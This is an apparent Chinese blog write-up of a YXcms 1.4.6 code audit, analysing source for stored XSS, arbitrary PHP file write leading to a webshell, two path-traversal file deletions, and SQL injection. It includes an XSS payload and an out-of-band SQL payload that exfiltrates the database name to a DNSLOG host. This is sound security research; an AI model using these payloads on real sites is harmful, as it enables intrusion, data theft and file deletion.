代码审计第二弹–YXcms

前言

一次逛博客中,遇到了YXcms,难度不高,合适我这种小白。于是它就成为我的代码审计的第二弹了。

审计过程

首先理解这个cms的目录构造

data    寄存备份数据
protected   网站程序中心文件夹
public  寄存css、images、js、swf等模板公用文件
upload  寄存上传文件
.htaccess   apache伪静态规则文件
httpd.ini   iis伪静态规则文件
index.php   网站入口
robots.txt  robots协议
晋级日志.txt    细致晋级日志记载文件

然后经过YXcms手册理解YXcms的后台途径等
https://www.kancloud.cn/yongheng/yxcms/308086

前台XSS

<svg/onload=alert(1)>

源码剖析

\protected\apps\default\controller\columnController.php

public function index()
    {
        $ename=in($_GET['col']);
        if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
        $sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
        $path=$sortinfo['path'].','.$sortinfo['id'];
        $deep=$sortinfo['deep']+1;
        $this->col=$ename;
        switch ($sortinfo['type']) {
            case 1://文章
                $this->newslist($sortinfo,$path,$deep);
                break;
            case 2://图集
                $this->photolist($sortinfo,$path,$deep);
                break;
            case 3://单页
                $this->page($sortinfo,$path,$deep);
                break;
            case 4://应用

                break;
            case 5://自定义

                break;
            case 6://表单
                $this->extend($sortinfo,$path,$deep);
                break;
            default:
                throw new Exception('未知的栏目类型~', 404);
                break;
        }
    }


  protected function extend($sortinfo,$path,$deep)
    {
        $tableid=$sortinfo['extendid'];
        if(empty($tableid)) $this->error('表单栏目不存在~');
        $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
        if(empty($tableinfo)) $this->error('自定义表不存在~');
        $urls=explode('|', $sortinfo['url']);
        // var_dump($tableinfo);
        // var_dump($urls);
        // exit();
        if (!$this->isPost()) {
           ...
        }else{
           session_starts();
           $verify=session('verify');
           session('verify',null);
           if(empty($verify) || $_POST['checkcode']!=$verify) $this->error('考证码错误,请重新输入');
           for($i=1;$i<count($tableinfo);$i++){
            if(is_array($_POST[$tableinfo[$i]['tableinfo']])){
               $data[$tableinfo[$i]['tableinfo']]=in(deletehtml(implode(',',$_POST[$tableinfo[$i]['tableinfo']])));
               $data[$tableinfo[$i]['tableinfo']]=$data[$tableinfo[$i]['tableinfo']]?in(deletehtml($data[$tableinfo[$i]['tableinfo']])):'';
            }else{
                if(strlen($_POST[$tableinfo[$i]['tableinfo']])>65535) $this->error('提交内容超越限制长度~');
                $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']],true);
            }
           }
           $data['ip']=get_client_ip();
           $data['ispass']=0;
           $data['addtime']=time();
           if(empty($urls[1])) $jump=$_SERVER['HTTP_REFERER'];
           else{
              $jurl=explode(',',$urls[1]);
              if(!empty($jurl[1])){
                $arr=explode('/',$jurl[1]);
                if(!empty($arr)){
                  $canshu=array();
                  foreach ($arr as $vo) {
                     $val=explode('=',$vo);
                     $canshu[$val[0]]=$val[1];
                  }
                }
              }
              $jump=url($jurl[0],$canshu); 
           }
           $mes=$urls[2]?$urls[2]:'提交胜利请等候审核~';
           if(model('extend')->Extin($tableinfo[0]['tableinfo'],$data)) $this->success($mes,$jump);
           else $this->error('提交失败~');
         }
    }

这里运用两个函数对前端输入停止过滤html_indeletehtml
/protected/include/lib/common.function.php
deletehtml

//去除html js标签
function deletehtml($document) {
    $document = trim($document);
    if (strlen($document) <= 0)
    {
      return $document;
    }
    $search = array ("'<script[^>]*?>.*?</script>'si",  // 去掉 javascript
                  "'<[/!]*?[^<>]*?>'si",          // 去掉 HTML 标志
                  "'([rn])[s]+'",                // 去掉空白字符
                  "'&(quot|#34);'i",                // 交换 HTML 实体
                  "'&(amp|#38);'i",
                  "'&(lt|#60);'i",
                  "'&(gt|#62);'i",
                  "'&(nbsp|#160);'i"
                  );                    // 作为 PHP 代码运转
     $replace = array ("",
                   "",
                   "\1",
                   """,
                   "&",
                   "<",
                   ">",
                   " "
                   );
    return @preg_replace ($search, $replace, $document);
}

注释的很分明了 ,去除html js标签
html_in
/protected/include/lib/common.function.php

function html_in($str,$filter=false){
    if($filter){
        $str=RemoveXSS($str);
    }

    $str=htmlspecialchars($str);
    if(!get_magic_quotes_gpc()) {
        $str = addslashes($str);
    }
   return $str;
}

运用函数htmlspecialcharsRemoveXSS对XSS停止过滤。

RemoveXSS

function RemoveXSS($val) {  
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed  
   // this prevents some character re-spacing such as <javascript>  
   // note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs  
   $val = preg_replace('/([x00-x08,x0b-x0c,x0e-x19])/', '', $val);  

   // straight replacements, the user should never need these since they're normal characters  
   // this prevents like <IMG SRC=@avascript:alert('XSS')>  
   $search = 'abcdefghijklmnopqrstuvwxyz'; 
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
   $search .= '1234567890!@#$%^&*()'; 
   $search .= '~`";:?+/={}[]-_|'\'; 
   for ($i = 0; $i < strlen($search); $i++) { 
      // ;? matches the ;, which is optional 
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 

      // @ @ search for the hex values 
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; 
      // @ @ 0{0,7} matches '0' zero to seven times  
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
   } 

   // now the only remaining whitespace attacks are t, n, and r 
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
   $ra = array_merge($ra1, $ra2); 

   $found = true; // keep replacing as long as the previous round replaced something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'; 
         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '(';  
               $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
               $pattern .= '|';  
               $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
               $pattern .= ')*'; 
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i';  
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag  
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags  
         if ($val_before == $val) {  
            // no replacements were made, so exit the loop  
            $found = false;  
         }  
      }  
   }  
   return $val;  
}

过滤一些风险标签,避免呈现XSS
经过测试,前端输入的<svg/onload=alert(1)> 在数据库中是:&lt;svg/on&lt;x&gt;load=alert(1)&gt;这样的
然后我们来看从数据库取值的函数
protected/apps/admin/controller/extendfieldController.php

public function mesedit()
    {
        $tableid=intval($_GET['tabid']);
        if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
        $id=intval($_GET['id']);//信息id
        if(empty($tableid) || empty($id) ) $this->error('参数错误~');
        $tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
        if(empty($tableinfo)) $this->error('自定义表不存在~');
        if (!$this->isPost()) {
           $info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
           // var_dump($info);
           // exit();
           $this->info=$info;
           $this->tableid=$tableid;
           $this->id=$id;
           $this->tableinfo=$tableinfo;
           $this->display();
        }else{
           for($i=1;$i<count($tableinfo);$i++){
               if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
                 $data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
               else
                 $data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
           }
           if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修正胜利~',url('extendfield/meslist',array('id'=>$tableid)));
           else $this->error('信息修正失败~');
         }
    }

取值就是正常取值,但是接下来的给页面返回代码,就离谱

$cont.='';
              for($i=1;$i<count($tableinfo);$i++){
                 $cont.= '<tr><td align="right">'.$tableinfo[$i]['name'].':</td><td align="left">';
                 switch ($tableinfo[$i]['type']) {
                       case 1:
                       $cont.= '<input type="text" name="'.$tableinfo[$i]['tableinfo'].'" value="'.$info[$tableinfo[$i]['tableinfo']].'">';
                       break;

                    case 2:
                       $cont.= '<textarea name="'.$tableinfo[$i]['tableinfo'].'" style="width:300px !important; height:80px">'.$info[$tableinfo[$i]['tableinfo']].'</textarea>';
                       break;

                    case 3:

                       $cont.= '<textarea class="editori" name="'.$tableinfo[$i]['tableinfo'].'" style="width:100%;height:250px;visibility:hidden;">'.html_out($info[$tableinfo[$i]['tableinfo']]).'</textarea>';
                       break;

                    case 4:
                       $cont.= '<select name="'.$tableinfo[$i]['tableinfo'].'" >';    
                    $chooses=explode("rn",$tableinfo[$i]['defvalue']);
                    $flog=false;
                    foreach ($chooses as $vo) {
                        $vos=explode(",",$vo);
                        if($info[$tableinfo[$i]['tableinfo']]==$vos[0]) {
                            $flog=true;
                            $cont.='<option selected value="'.$vos[0].'">'.$vos[1].'</option>';
                        }else{
                            $cont.='<option value="'.$vos[0].'">'.$vos[1].'</option>';
                        }
                    }
                    if(!$flog) $cont.='<option selected value="">=没有选择=</option>';
                    $cont.= '</select>';
                       break;

                    case 5:
                       $cont.= '<input name="'.$tableinfo[$i]['tableinfo'].'" id="'.$tableinfo[$i]['tableinfo'].'" type="text"  value="'.$info[$tableinfo[$i]['tableinfo']].'" />';
                    $cont.= '<iframe scrolling="no"; frameborder="0" src="'.url("extendfield/file",array('inputName'=>$tableinfo[$i]['tableinfo'])).'" style="width:300px; height:30px;"></iframe>';
                       break;

                    case 6:
                    $chooses=explode("rn",$tableinfo[$i]['defvalue']);
                    foreach ($chooses as $vo) {
                        $vos=explode(",",$vo);
                        $nowval=array();
                        $nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);
                        $cont.= (in_array($vos[0],$nowval))?$vos[1].'<input checked type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" />':$vos[1].'<input type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" /><br>';
                    }
                       break;
                 }
                 $cont.= '</td></tr>';
              }
              echo $cont;

只要case 3运用了html_out函数
/protected/include/lib/common.function.php
html_out

function html_out($str){
    if(function_exists('htmlspecialchars_decode'))
        $str=htmlspecialchars_decode($str);
    else
        $str=html_entity_decode($str);
    $str = stripslashes($str);
    return $str;
}

在html代码输出应用htmlspecialchars_decode将特殊的 HTML 实体转换回普通字符,那么上面的被实体化的输入代码又被转化回来了,中间那么多的过滤和转换白用了。 而且case3就是留言板那。

恣意PHP文件添加

新建一个文件

不需求任何权限,能够直接访问protected/apps/default/view/default/phpinfo.php

源码剖析

protected/apps/admin/controller/setController.php

public function tpadd()
    {
       $tpfile=$_GET['Mname'];
       if(empty($tpfile)) $this->error('非法操作~');
       $templepath=BASE_PATH . $this->tpath.$tpfile.'/';
       if($this->isPost()){
         $filename=trim($_POST['filename']);
         $code=stripcslashes($_POST['code']);
         if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
         $filepath=$templepath.$filename.'.php';
         if($this->ifillegal($filepath)) {$this->error('非法的文件途径~');exit;}
         try{
            file_put_contents($filepath, $code);
          } catch(Exception $e) {
            $this->error('模板文件创立失败!');
          } 
          $this->success('模板文件创立胜利!',url('set/tplist',array('Mname'=>$tpfile)));
       }else{
         $this->tpfile=$tpfile;
         $this->display();

       }
    }

能够看到,我们写入的文件是POST直接传参,而且两个参数均为停止过滤。$filepath=$templepath.$filename.'.php';强行指定文件为php文件。 file_put_contents($filepath, $code);将没有停止过滤的输入的参数直接写入文件中。
经过这个破绽,我们能够直接getshell。

恣意文件删除一

在上传文件管理中,有个删除文件

我们尝试删除,并且抓包。
在根目录创立一个1.txt
图片[1]-代码审计第二弹–YXcms-孤勇者社区
返回胜利,1.txt被胜利删除

源码剖析

protected/apps/admin/controller/filesController.php

public function del()
    {
       $dirs=in($_GET['fname']);
       $dirs=str_replace(',','/',$dirs);
       $dirs=ROOT_PATH.'upload'.$dirs;
       if(is_dir($dirs)){del_dir($dirs); echo 1;} 
       elseif(file_exists($dirs)){
         if(unlink($dirs)) echo 1;
       }else echo '文件不存在'; 
    }

运用in办法$_GET['fname']停止判别
protected\include\lib\common.function.php

function in($data,$force=false){
    if(is_string($data)){
        $data=trim(htmlspecialchars($data));//避免被挂马,跨站攻击
        if(($force==true)||(!get_magic_quotes_gpc())) {
           $data = addslashes($data);//避免sql注入
        }
        return  $data;
    } else if(is_array($data)) {
        foreach($data as $key=>$value){
           $data[$key]=in($value,$force);
        }
        return $data;
    } else {
        return $data;
    }   
}

代码中对传入的数据停止htmlspecialchars和addslashes处置,但是并不会对../停止处置
del_dir 办法
\YXcmsApp1.4.6\protected\include\lib\common.function.php

//遍历删除目录下一切文件
function del_dir($dir,$ifdeldir=true){
    if (!is_dir($dir)){
        return false;
    }
    $handle = opendir($dir);
    while (($file = readdir($handle)) !== false){
        if ($file != "." && $file != ".."){
            is_dir("$dir/$file")?   del_dir("$dir/$file"):@unlink("$dir/$file");
        }
    }
    if (readdir($handle) == false){
        closedir($handle);
        if($ifdeldir) @rmdir($dir);
    }
    return true;
}

对文件停止遍历删除操作。

总管这两个办法,对我们输入的参数没有停止任何过滤,ROOT_PATH.'upload'.$dirs,拼接文件完好途径,运用unlink函数删除文件,参数完整可控,招致恣意文件删除。

恣意文件删除二

抓包 ,经过更改参数picname ,到达恣意文件删除的目的。
当返回缩略图不存在时,文件曾经被删除。

源码剖析

/protected/apps/admin/controller/photoController.php

public function delpic()
    {
        if(empty($_POST['picname'])) $this->error('参数错误~');
        $picname=$_POST['picname'];
        $path=$this->uploadpath;
        if(file_exists($path.$picname))
          @unlink($path.$picname);
        else{echo '图片不存在~';return;} 
        if(file_exists($path.'thumb_'.$picname))
           @unlink($path.'thumb_'.$picname);
        else {echo '缩略图不存在~';return;}
        echo '原图以及缩略图删除胜利~';
    }

将参数$_POST['picname']赋值给$picname$this->uploadpath上传途径赋值到$path,把$path和$picname衔接起来,参数$picname完整可控,招致恣意文件删除。

SQL注入

位置:/index.php?r=admin/fragment/index

bp抓包 会看到传入两个参数

图片[2]-代码审计第二弹–YXcms-孤勇者社区
delid参数停止修正
select load_file(concat('\\\\',(select database()),'.test.dnslog.link\\abc'))

但是这里没有回显,需求用DNSLOG辅助查看回显

这个洞比拟鸡肋,由于后台有执行SQL语句的功用

源码剖析

\YXcmsApp1.4.6\protected\apps\admin\controller\fragmentController.php

public function del()
    {
        if(!$this->isPost()){
            $id=intval($_GET['id']);
            if(empty($id)) $this->error('您没有选择~');
            if(model('fragment')->delete("id='$id'"))
            echo 1;
            else echo '删除失败~';
        }else{
            if(empty($_POST['delid'])) $this->error('您没有选择~');
            $delid=implode(',',$_POST['delid']);
            if(model('fragment')->delete('id in ('.$delid.')'))
            $this->success('删除胜利',url('fragment/index'));
        }
    }

关于传入的delid变量,首先判别能否存在,然后将逗号和$_POST['delid']经过implode函数链接在一同。调用delete办法继续停止删除。
查看delete办法
\YXcmsApp1.4.6\protected\base\model\model.php

public function delete($condition){
        return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
    }

仍有delete办法,我们继续查看
\YXcmsApp1.4.6\protected\include\core\cpModel.class.php

public function delete() {
        $table = $this->options['table'];   //当前表
        $where = $this->_parseCondition();  //条件
        if ( empty($where) ) return false; //删除条件为空时,则返回false,防止数据不当心被全部删除

        $this->sql = "DELETE FROM $table $where";
        $query = $this->db->execute($this->sql);
        return $this->db->affectedRows();
    }

这里照旧是对$table$where停止赋值 但是这里运用了parseCondition() 查一下
\YXcmsApp1.4.6\protected\include\core\db\cpMysql.class.php

private function _parseCondition() {
        $condition = $this->db->parseCondition($this->options);
        $this->options['where'] = '';
        $this->options['group'] = '';
        $this->options['having'] = '';
        $this->options['order'] = '';
        $this->options['limit'] = '';
        $this->options['field'] = '*';      
        return $condition;      
    }

这里$this->db->parseCondition($this->options)
查看parseCondition办法

public function parseCondition($options) {
        $condition = "";
        if(!empty($options['where'])) {
            $condition = " WHERE ";
            if(is_string($options['where'])) {
                $condition .= $options['where'];
            } else if(is_array($options['where'])) {
                    foreach($options['where'] as $key => $value) {
                         $condition .= " `$key` = " . $this->escape($value) . " AND ";
                    }
                    $condition = substr($condition, 0,-4);  
            } else {
                $condition = "";
            }
        }

        if( !empty($options['group']) && is_string($options['group']) ) {
            $condition .= " GROUP BY " . $options['group'];
        }
        if( !empty($options['having']) && is_string($options['having']) ) {
            $condition .= " HAVING " .  $options['having'];
        }
        if( !empty($options['order']) && is_string($options['order']) ) {
            $condition .= " ORDER BY " .  $options['order'];
        }
        if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
            $condition .= " LIMIT " .  $options['limit'];
        }
        if( empty($condition) ) return "";
        return $condition;
    }

首先假如传送过来的内容不为空,就给condition赋值 WHERE ,假如是字符串的话,直接停止拼接,假如是数组的话,交由escape()办法处置 ,之后根本上都是sql语句的关键词赋值,其中呈现escape($value),我们查看一下这个函数。

/protected/include/core/db/cpMysql.class.php

public function escape($value) {
        if( isset($this->_readLink) ) {
            $link = $this->_readLink;
        } elseif( isset($this->_writeLink) ) {
            $link = $this->_writeLink;
        } else {
            $link = $this->_getReadLink();
        }

        if( is_array($value) ) { 
           return array_map(array($this, 'escape'), $value);
        } else {
           if( get_magic_quotes_gpc() ) {
               $value = stripslashes($value);
           } 
            return  "'" . mysql_real_escape_string($value, $link) . "'";
        }

假如传入的是数组,那么回对数组中的每个值停止mysql_real_escape_string处置

但是由于只停止了特殊字符的处置,关于数字和字符没有停止处置,所以,存在SQL注入。

总结

这次代码审计,只靠我本人是拿不下来的,最后还是参考了P神,p1ump师傅等大牛的博客。即便这样,这个cms 照旧还有一些洞没有复现到位,比方固定会话攻击,和前台xss的getsgell这个两个洞,我不断没有复现出来,所以就没有写到正文中,假如有哪位师傅理解,还请赐教。

参考

https://www.freebuf.com/column/162886.html
https://xz.aliyun.com/t/5367?page=1#toc-5
https://www.anquanke.com/post/id/204398#h2-14
https://www.leavesongs.com/other/yxcms-vulnerability.html

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞5赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像后长0